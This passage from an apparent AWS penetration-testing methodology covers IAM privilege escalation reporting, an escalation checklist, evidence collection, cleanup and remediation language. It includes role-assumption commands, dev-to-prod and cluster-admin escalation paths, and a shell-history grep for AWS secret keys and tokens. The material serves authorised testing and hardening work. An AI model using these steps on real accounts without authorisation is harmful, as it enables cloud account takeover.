  "AWS": "arn:aws:iam::<ACCOUNT_ID>:root"
}

or conditions like:

"aws:PrincipalArn": "arn:aws:iam::<ACCOUNT_ID>:role/*"

Test assume role

aws sts assume-role \
  --role-arn arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME> \
  --role-session-name pt-trust-test \
  --duration-seconds 900 \
  --query 'AssumedRoleUser.Arn' \
  --output text

Finding

Role trust policy allows broader assumption than intended.

20. IAM Privilege Escalation Reporting Template

Title

IAM permissions allow privilege escalation to administrative access

Evidence

Starting principal:
arn:aws:iam::<ACCOUNT_ID>:user/<USER>

Permission combination:
iam:PutRolePolicy on arn:aws:iam::<ACCOUNT_ID>:role/<ROLE>
sts:AssumeRole on arn:aws:iam::<ACCOUNT_ID>:role/<ROLE>

Validation:
Successfully assumed arn:aws:sts::<ACCOUNT_ID>:assumed-role/<ROLE>/<SESSION>

Impact

The principal can modify IAM policies or role trust relationships to obtain elevated AWS permissions. Depending on scope, this can lead to full account compromise, workload takeover, data access, or cross-account movement.

Remediation

Remove broad IAM write permissions.
Restrict iam:PassRole to approved roles and services.
Restrict iam:AttachRolePolicy and iam:PutRolePolicy to specific roles.
Use permissions boundaries for role creation.
Deny attachment of AdministratorAccess/IAMFullAccess via SCP.
Require exact trust principals instead of account-wide trust.
Monitor CloudTrail for IAM privilege escalation events.

CloudTrail events to monitor

AttachUserPolicy
PutUserPolicy
AddUserToGroup
CreateAccessKey
CreateLoginProfile
UpdateLoginProfile
CreateRole
AttachRolePolicy
PutRolePolicy
UpdateAssumeRolePolicy
CreatePolicyVersion
SetDefaultPolicyVersion
PassRole
CreateAccessEntry
AssociateAccessPolicy
AssumeRole

21. IAM Privilege Escalation Quick Checklist

[ ] Who am I? sts get-caller-identity
[ ] Am I an IAM user or assumed role?
[ ] Can I list roles and policies?
[ ] Can I assume any role?
[ ] Can I modify user policies?
[ ] Can I modify role policies?
[ ] Can I modify trust policies?
[ ] Can I create roles?
[ ] Can I attach managed policies?
[ ] Can I create/set policy versions?
[ ] Can I pass privileged roles?
[ ] Can I run compute with passed roles?
[ ] Can I modify EKS access entries?
[ ] Can I assume roles in other accounts?
[ ] Can I access prod from dev?
[ ] Can I reach EKS cluster-admin?
[ ] Did I clean up all test resources?

21. Evidence Collection

Capture:

Starting identity
Target assumed role ARN
Account aliases
Target account ID
EKS cluster names
EKS associated access policy
Role trust policy
Role attached/inline policy names
Metadata-only resource listings

Useful commands

Starting identity:

aws sts get-caller-identity

Assumed role proof:

aws sts assume-role \
  --role-arn <ROLE_ARN> \
  --role-session-name pt-validation \
  --duration-seconds 900 \
  --query 'AssumedRoleUser.Arn' \
  --output text

Active profile proof:

aws --profile <PROFILE> sts get-caller-identity

EKS admin evidence:

aws --profile <PROFILE> eks list-associated-access-policies \
  --region "$REGION" \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn <ROLE_ARN> \
  --output yaml

Kubernetes identity:

AWS_PROFILE=<PROFILE> kubectl --context <CONTEXT> auth whoami

Avoid evidence containing

Temporary AWS credentials
Secret values
Tokens
Customer data
Database rows
Kubernetes Secret YAML

22. Cleanup

Unset active environment credentials

unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY
unset AWS_SESSION_TOKEN
unset AWS_SESSION_EXPIRATION
unset AWS_PROFILE

Confirm:

aws sts get-caller-identity

Clear AWS CLI assume-role cache

rm -f ~/.aws/cli/cache/*.json 2>/dev/null

Remove AWS CLI test profiles

List profiles:

aws configure list-profiles

Manually edit:

nano ~/.aws/config
nano ~/.aws/credentials

Remove sections like:

[profile tf-prod-direct]
role_arn = arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>
source_profile = default
role_session_name = pt-session
region = ap-southeast-2

Do not delete [default] unless intended.

Delete kube contexts

kubectl config get-contexts
kubectl config unset current-context 2>/dev/null || true
for ctx in eks-test-via-tf eks-dev-via-tf prod-via-tf eks-test eks-development; do
  kubectl config delete-context "$ctx" 2>/dev/null || true
done

Clear cache:

rm -rf ~/.kube/cache ~/.kube/http-cache 2>/dev/null

Remove test resources

If created:

aws iam delete-role-policy \
  --role-name <ROLE_NAME> \
  --policy-name PT-Validation-ListOnly
kubectl delete namespace <PT_VALIDATION_NAMESPACE>
aws eks disassociate-access-policy ...
aws eks delete-access-entry ...

Check shell history for secrets

history | grep -Ei 'AWS_SECRET_ACCESS_KEY|AWS_SESSION_TOKEN|SecretAccessKey|SessionToken|ASIA|AKIA'

Remove if necessary from:

~/.zsh_history
~/.bash_history

23. Common Findings and Report Language

Finding: Development principal can assume production role

Severity: Critical if production role has broad permissions.

Evidence:

Starting identity:
arn:aws:iam::<DEV_ACCOUNT>:user/<DEV_USER>

Assumed role:
arn:aws:sts::<PROD_ACCOUNT>:assumed-role/<ROLE_NAME>/<SESSION>

Impact:

A development principal can cross the development/production boundary and assume a production role. Depending on the target role permissions, this may allow production infrastructure modification, EKS administration, access to secrets, CI/CD tampering, or service disruption.

Remediation:

  • Remove development principals from production trust policies.
  • Avoid trusting entire development accounts.
  • Restrict production role assumption to approved CI/CD or break-glass principals.
  • Add SCPs blocking dev-to-prod role assumption.
  • Monitor sts:AssumeRole.

Finding: Automation role has production EKS cluster-admin

Evidence:

policyArn: arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy
accessScope:
  type: cluster

Impact:

Any principal that can assume the automation role can administer the production Kubernetes cluster.

Nuance:

It may be expected for an automation role to manage clusters. The vulnerability is when lower-trust principals can assume that role.


Finding: Overly broad IAM trust policy

Example:

"Principal": {
  "AWS": "arn:aws:iam::<ACCOUNT_ID>:root"
}

or:

"Principal": {
  "AWS": "*"
}

with weak conditions.

Impact:

Broad principals may allow unexpected users/roles to assume sensitive roles.

Remediation:

  • Trust exact role/user ARNs.
  • Add conditions on aws:PrincipalArn, principal tags, external ID, MFA, or source identity.
  • Avoid account-wide trust unless necessary.

Finding: Broad IRSA trust policy

Example:

system:serviceaccount:namespace:serviceaccount-*

Impact:

Any matching service account can assume the IAM role. If Kubernetes users can create matching service accounts or tokens, they can obtain AWS credentials.

Remediation:

  • Use exact service account subjects.
  • Prefer StringEquals over StringLike.
  • Restrict Kubernetes RBAC for pods/serviceaccounts/token creation.

Finding: Public or cross-account S3 access

Evidence:

Principal: "*"
Action: s3:GetObject
Resource: arn:aws:s3:::bucket/*

Impact:

Sensitive objects may be publicly accessible or accessible by unauthorized external accounts.

Remediation:

  • Enable S3 Block Public Access.
  • Remove public bucket policies/ACLs.
  • Restrict access to required principals.
  • Use Access Analyzer findings.

Finding: Inadequate logging or monitoring

Evidence:

CloudTrail not multi-region
CloudTrail not logging
No GuardDuty detector
No Security Hub
No AWS Config recorder
No S3 data events

Impact:

Security incidents may go undetected or lack forensic evidence.

Remediation:

  • Enable multi-region CloudTrail.
  • Enable log file validation.
  • Send logs to central security account.
  • Enable GuardDuty, Security Hub, AWS Config.
  • Enable relevant data events.

24. Useful Tools

Enumeration and posture tools

Prowler
ScoutSuite
Pacu
Cloudsplaining
Cartography
Steampipe
AWS CLI
CloudFox
enumerate-iam
aws-security-viz
Principal Mapper

Prowler

prowler aws --profile <PROFILE>

Useful for CIS, security best practices, exposed services.

ScoutSuite

scout aws --profile <PROFILE>

Useful for broad cloud posture reporting.

Pacu

pacu

Useful for AWS exploitation simulation and permission testing.

Cloudsplaining

cloudsplaining scan --input-file policy.json

Useful for identifying risky IAM policies.

CloudFox

cloudfox aws --profile <PROFILE> all-checks

Useful for attacker-path style enumeration.

Steampipe

Example query style:

select
  name,
  arn,
  create_date
from
  aws_iam_role;

Useful for multi-account inventory and repeatable checks.


Quick Methodology Summary

1. Confirm scope and ROE.
2. Confirm identity.
3. Enumerate account, org, regions.
4. Enumerate IAM users, roles, policies, trust relationships.
5. Identify privilege escalation and assumable roles.
6. Test AssumeRole paths safely.
7. Check cross-account access, especially dev -> prod.
8. Enumerate storage, secrets metadata, compute, databases, network.
9. Review EKS/ECS/Lambda/CI/CD paths.
10. Validate impact with metadata or canaries.
11. Collect clean evidence without secrets.
12. Clean up local profiles, tokens, kube contexts, and test resources.
13. Report root cause, impact, evidence, and remediation.